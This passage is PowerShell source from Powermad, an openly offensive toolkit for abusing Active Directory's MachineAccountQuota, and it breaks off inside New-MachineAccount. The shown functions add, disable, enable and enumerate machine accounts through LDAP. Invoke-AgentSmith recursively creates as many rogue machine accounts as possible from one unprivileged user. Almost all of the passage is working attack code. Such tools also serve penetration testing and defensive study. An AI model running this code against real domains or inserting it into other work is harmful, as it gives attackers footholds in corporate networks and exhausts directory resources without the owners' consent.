4480 lines
132 KiB
PowerShell
4480 lines
132 KiB
PowerShell
|
<#
|
||
|
Powermad - PowerShell MachineAccountQuota and DNS exploit tools
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
#region begin MachineAccountQuota Functions
|
||
|
|
||
|
function Disable-MachineAccount
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function disables a machine account that was added through New-MachineAccount. This function should be
|
||
|
used with the same user that created the machine account.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users
|
||
|
can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is
|
||
|
just left in a disabled state. This function provides that ability by setting the AccountDisabled to true.
|
||
|
Ideally, the account is removed after elevating privilege.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to disable the machine account.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the computers OU.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER MachineAccount
|
||
|
The username of the machine account that will be disabled.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Disable a machine account named test.
|
||
|
Disable-MachineAccount -MachineAccount test
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$MachineAccount,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if($MachineAccount.EndsWith('$'))
|
||
|
{
|
||
|
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$machine_account = $MachineAccount
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
$distinguished_name = "CN=$machine_account,CN=Computers"
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
if(!$directory_entry.InvokeGet("AccountDisabled"))
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry.InvokeSet("AccountDisabled","True")
|
||
|
$directory_entry.SetInfo()
|
||
|
Write-Output "[+] Machine account $MachineAccount disabled"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
Write-Output "[-] Machine account $MachineAccount is already disabled"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Enable-MachineAccount
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function enables a machine account that was disabled through Disable-MachineAccount. This function should
|
||
|
be used with the same user that created the machine account.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function sets a machine account's AccountDisabled attribute to false.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to disable the machine account.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the computers OU.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER MachineAccount
|
||
|
The username of the machine account that will be enabled.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Enable a machine account named test.
|
||
|
Enable-MachineAccount -MachineAccount test
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$MachineAccount,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if($MachineAccount.EndsWith('$'))
|
||
|
{
|
||
|
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$machine_account = $MachineAccount
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
$distinguished_name = "CN=$machine_account,CN=Computers"
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.InvokeGet("AccountDisabled"))
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry.InvokeSet("AccountDisabled","False")
|
||
|
$directory_entry.SetInfo()
|
||
|
Write-Output "[+] Machine account $MachineAccount enabled"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
Write-Output "[-] Machine account $MachineAccount is already enabled"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Get-MachineAccountAttribute
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function can return values populated in machine account attributes.
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to read the attribute.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the computers OU.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain. This parameter is mandatory on a non-domain attached system. Note this parameter
|
||
|
requires a DNS domain name and not a NetBIOS version.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER MachineAccount
|
||
|
The username of the machine account that will be modified.
|
||
|
|
||
|
.PARAMETER Attribute
|
||
|
The machine account attribute.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get the value of the description attribute from a machine account named test.
|
||
|
Get-MachineAccountAttribute -MachineAccount test -Attribute description
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$MachineAccount,
|
||
|
[parameter(Mandatory=$true)][String]$Attribute,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if($MachineAccount.EndsWith('$'))
|
||
|
{
|
||
|
$machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$machine_account = $MachineAccount
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
$distinguished_name = "CN=$machine_account,CN=Computers"
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$output = $directory_entry.InvokeGet($Attribute)
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
return $output
|
||
|
}
|
||
|
|
||
|
function Get-MachineAccountCreator
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function leverages the ms-DS-CreatorSID property on machine accounts to return a list
|
||
|
of usernames or SIDs and the associated machine account. The ms-DS-CreatorSID property is only
|
||
|
populated when a machine account is created by an unprivileged user. Note that SIDs will be returned
|
||
|
over usernames if SID to username lookups fail through System.Security.Principal.SecurityIdentifier.
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can be used to see how close a user is to a ms-DS-MachineAccountQuota before
|
||
|
using New-MachineAccount.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used enumerate machine account creators.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the computers OU.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Get the ms-DS-CreatorSID values for a domain.
|
||
|
Get-MachineAccountCreator
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
$distinguished_name = "CN=Computers"
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
$machine_account_searcher = New-Object DirectoryServices.DirectorySearcher
|
||
|
$machine_account_searcher.SearchRoot = $directory_entry
|
||
|
$machine_account_searcher.PageSize = 1000
|
||
|
$machine_account_searcher.Filter = '(&(ms-ds-creatorsid=*))'
|
||
|
$machine_account_searcher.SearchScope = 'Subtree'
|
||
|
$machine_accounts = $machine_account_searcher.FindAll()
|
||
|
$creator_object_list = @()
|
||
|
|
||
|
ForEach($account in $machine_accounts)
|
||
|
{
|
||
|
$creator_SID_object = $account.properties."ms-ds-creatorsid"
|
||
|
|
||
|
if($creator_SID_object)
|
||
|
{
|
||
|
$creator_SID = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID_object[0],0)).Value
|
||
|
$creator_object = New-Object PSObject
|
||
|
|
||
|
try
|
||
|
{
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$creator_account = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/<SID=$creator_SID>",$Credential.UserName,$credential.GetNetworkCredential().Password)
|
||
|
$creator_account_array = $($creator_account.distinguishedName).Split(",")
|
||
|
$creator_username = $creator_account_array[($creator_account_array.Length - 2)].SubString(3).ToUpper() + "\" + $creator_account_array[0].SubString(3)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$creator_username = (New-Object System.Security.Principal.SecurityIdentifier($creator_SID)).Translate([System.Security.Principal.NTAccount]).Value
|
||
|
}
|
||
|
|
||
|
Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_username
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Add-Member -InputObject $creator_object -MemberType NoteProperty -Name Creator $creator_SID
|
||
|
}
|
||
|
|
||
|
Add-Member -InputObject $creator_object -MemberType NoteProperty -Name "Machine Account" $account.properties.name[0]
|
||
|
$creator_object_list += $creator_object
|
||
|
$creator_SID_object = $null
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
Write-Output $creator_object_list | Sort-Object -property @{Expression = {$_.Creator}; Ascending = $false}, "Machine Account" | Format-Table -AutoSize
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function Invoke-AgentSmith
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function leverages New-MachineAccount to recursively create as as many machine accounts as possible
|
||
|
from a single unprivileged account through MachineAccountQuota. With a default MachineAccountQuota of 10,
|
||
|
the most common result will be 110 accounts. This is due to the transitive quota of Q + Q * 1 where Q
|
||
|
equals the MachineAccountQuota setting. The transitive quota can often be exceeded to the total number of
|
||
|
created accounts can vary. I wouldn't recommend running this one on a client network unless you have a
|
||
|
good reason.
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function leverages New-MachineAccount to recursively create as as many machine accounts as possible
|
||
|
from a single unprivileged account through MachineAccountQuota.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used enumerate machine account creators.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the computers OU.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in netBIOS format. This will be used to create the PSCredential object as the function cycles
|
||
|
through the machine accounts.
|
||
|
|
||
|
.PARAMETER MachineAccountPrefix
|
||
|
The prefix for the machine account names. The prefix will be incremented by one for each account creation attempt.
|
||
|
|
||
|
.PARAMETER MachineAccountQuota
|
||
|
The domain's MachineAccountQuota setting.
|
||
|
|
||
|
.PARAMETER NoWarning
|
||
|
Switch to remove the warning prompt.
|
||
|
|
||
|
.PARAMETER Password
|
||
|
The securestring of the password for the machine accounts.
|
||
|
|
||
|
.PARAMETER Sleep
|
||
|
The delay in milliseconds between account creation attempts.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Invoke-AgentSmith -MachineAccountPrefix test
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$false)][String]$NetBIOSDomain,
|
||
|
[parameter(Mandatory=$false)][String]$MachineAccountPrefix = "AgentSmith",
|
||
|
[parameter(Mandatory=$false)][Int]$MachineAccountQuota = 10,
|
||
|
[parameter(Mandatory=$false)][Int]$Sleep = 0,
|
||
|
[parameter(Mandatory=$false)][System.Security.SecureString]$Password,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(Mandatory=$false)][Switch]$NoWarning,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
$i = 0
|
||
|
$j = 1
|
||
|
$k = 1
|
||
|
$MachineAccountQuota--
|
||
|
|
||
|
if(!$NoWarning)
|
||
|
{
|
||
|
$confirm_invoke = Read-Host -Prompt "Are you sure you want to do this? (Y/N)"
|
||
|
}
|
||
|
|
||
|
if(!$Password)
|
||
|
{
|
||
|
$password = Read-Host -Prompt "Enter a password for the new machine accounts" -AsSecureString
|
||
|
}
|
||
|
|
||
|
if(!$NetBIOSDomain)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$NetBIOSDomain = (Get-ChildItem -path env:userdomain).Value
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if($confirm_invoke -eq 'Y' -or $NoWarning)
|
||
|
{
|
||
|
|
||
|
:main_loop while($i -le $MachineAccountQuota)
|
||
|
{
|
||
|
$MachineAccount = $MachineAccountPrefix + $j
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$output = New-MachineAccount -MachineAccount $MachineAccount -Credential $Credential -Password $Password -Domain $Domain -DomainController $DomainController -DistinguishedName $DistinguishedName
|
||
|
|
||
|
if($output -like "*The server cannot handle directory requests*")
|
||
|
{
|
||
|
Write-Output "[-] Limit reached with $account"
|
||
|
$switch_account = $true
|
||
|
$j--
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
Write-Output $output
|
||
|
$success = $j
|
||
|
}
|
||
|
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
|
||
|
if($_.Exception.Message -like "*The supplied credential is invalid*")
|
||
|
{
|
||
|
|
||
|
if($j -gt $success)
|
||
|
{
|
||
|
Write-Output "[-] Machine account $account was not added"
|
||
|
Write-Output "[-] No remaining machine accounts to try"
|
||
|
Write-Output "[+] Total machine accounts added = $($j - 1)"
|
||
|
break main_loop
|
||
|
}
|
||
|
|
||
|
$switch_account = $true
|
||
|
$j--
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if($i -eq 0)
|
||
|
{
|
||
|
$account = "$NetBIOSDomain\$MachineAccountPrefix" + $k + "$"
|
||
|
}
|
||
|
|
||
|
if($i -eq $MachineAccountQuota -or $switch_account)
|
||
|
{
|
||
|
Write-Output "[*] Trying machine account $account"
|
||
|
$credential = New-Object System.Management.Automation.PSCredential ($account, $password)
|
||
|
$i = 0
|
||
|
$k++
|
||
|
$switch_account = $false
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$i++
|
||
|
}
|
||
|
|
||
|
$j++
|
||
|
|
||
|
Start-Sleep -Milliseconds $Sleep
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
Write-Output "[-] Function exited without adding machine accounts"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function New-MachineAccount
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function adds a machine account with a specified password to Active Directory through an encrypted LDAP
|
||
|
add request. By default standard domain users can add up to 10 systems to AD (see ms-DS-MachineAccountQuota).
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
The main purpose of this function is to leverage the default ms-DS-MachineAccountQuota attribute setting which
|
||
|
allows all domain users to add up to 10 computers to a domain. The machine account and HOST SPNs are added
|
||
|
directly through an LDAP connection to a domain controller and not by attaching the host system to Active
|
||
|
Directory. This function does not modify the domain attachment and machine account associated with the host
|
||
|
system.
|
||
|
|
||
|
Note that you will not be able to remove the account without elevating privilege. You can however disable the
|
||
|
account as long as you maintain access to the account used to create the machine account.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to create the machine account.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
|
||
|
parameter.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the computers OU.
|
||
|
|
||
|
.PARAMETER MachineAccount
|
||
|
The machine account that will be added.
|
||
|
|
||
|
.PARAMETER Password
|
||
|
The securestring of the password for the machine account.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Add a machine account named test.
|
||
|
New-MachineAccount -MachineAccount test
|
||
|
|
||
|
.EXAMPLE
|
||
|
Add a machine account named test with a password of Summer2018!.
|
||
|
$machine_account_password = ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force
|
||
|
New-MachineAccount -MachineAccount test -Password $machine_account_password
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$true)][String]$MachineAccount,
|
||
|
[parameter(Mandatory=$false)][System.Security.SecureString]$Password,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
$null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
|
||
|
|
||
|
if(!$Password)
|
||
|
{
|
||
|
$password = Read-Host -Prompt "Enter a password for the new machine account" -AsSecureString
|
||
|
}
|
||
|
|
||
|
$password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
|
||
|
$password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR)
|
||
|
|
||
|
if(!$DomainController -or !$Domain)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
$Domain = $Domain.ToLower()
|
||
|
$machine_account = $MachineAccount
